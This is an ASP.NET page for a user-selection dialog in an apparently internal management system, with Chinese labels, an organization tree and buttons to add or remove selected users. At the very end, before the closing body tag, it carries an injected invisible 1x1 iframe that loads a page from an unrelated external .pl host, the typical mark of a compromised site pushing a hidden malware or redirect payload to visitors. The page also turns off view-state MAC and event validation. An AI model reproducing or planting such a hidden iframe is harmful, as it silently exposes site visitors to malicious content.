<%@ page language="C#" autoeventwireup="true" inherits="ims.web.selectUser, ims.web" enableviewstatemac="false" enableEventValidation="false" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="selectUser">
<head runat="server">
    <title>选择用户</title>
    <base target="_self" />
</head>
<body>
    <form id="form1" runat="server">
   <asp:ScriptManager runat="server" ID="sm" EnablePageMethods="True">
        <Scripts><asp:ScriptReference Name="MicrosoftAjax.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/><asp:ScriptReference Name="MicrosoftAjaxWebForms.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/></Scripts>
    </asp:ScriptManager>
    <asp:UpdatePanel ID="up" runat="server" UpdateMode="Conditional" ChildrenAsTriggers="false">
    <ContentTemplate>
        <table cellpadding="0" cellspacing="0" id="main"><tr><td id="tdTree" title="双击用户可直接添加到右侧；双击一个机构可将其直属人员添加到右侧">
            <div class="autoScroll">
            <asp:TreeView ID="tv" NodeWrap="false" RootNodeStyle-CssClass="node" ParentNodeStyle-CssClass="node" SelectedNodeStyle-CssClass="selected" LineImagesFolder="images" ShowExpandCollapse="true" ExpandDepth="1" NodeStyle-HorizontalPadding="3" NodeStyle-VerticalPadding="1" runat="server" ShowLines="false" CssClass="tree">
                <Nodes>
                    <asp:TreeNode Text="根节点" SelectAction="Select" Value="0"></asp:TreeNode>
                </Nodes>
            </asp:TreeView>
            </div>
        </td><td id="tdBtns">
            <table id="btns">
                <tr>
                    <td valign="middle">
                        <input value=">>" type="button" class="btn arrow" onclick="addSelected();" title="将选中的人员添加到右侧列表" /><br />
                        <input value="<<" type="button" class="btn arrow" onclick="removeSelected();" title="从右侧列表中移除选中人员" /><br />
                        <input type="button" value="帮助" class="btn" onclick="showHelp('selectuser');" />
                    </td>
                </tr><tr>
                    <td valign="bottom">
                        <input value="确定" type="button" class="btn" onclick="SelectOK();" /><br />
                        <input value="取消" type="button" class="btn" onclick="window.close();" />
                    </td>
                </tr>
            </table>
        </td><td id="tdUsers">
            <div class="autoScroll">
            <select id="ddlUsers" title="选中一项或多项，按&#34;<<&#34;按钮可从列表中移除；双击某项可直接删除该项。按住Ctrl或Shift键可进行多选。" ondblclick="removeSelected();" size="4" multiple="multiple"></select>
            </div>
        </td></tr></table>
    </ContentTemplate>
    </asp:UpdatePanel>
    <script src="js/comm.js"></script><script src="js/selectUser.js"></script>
    </form>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>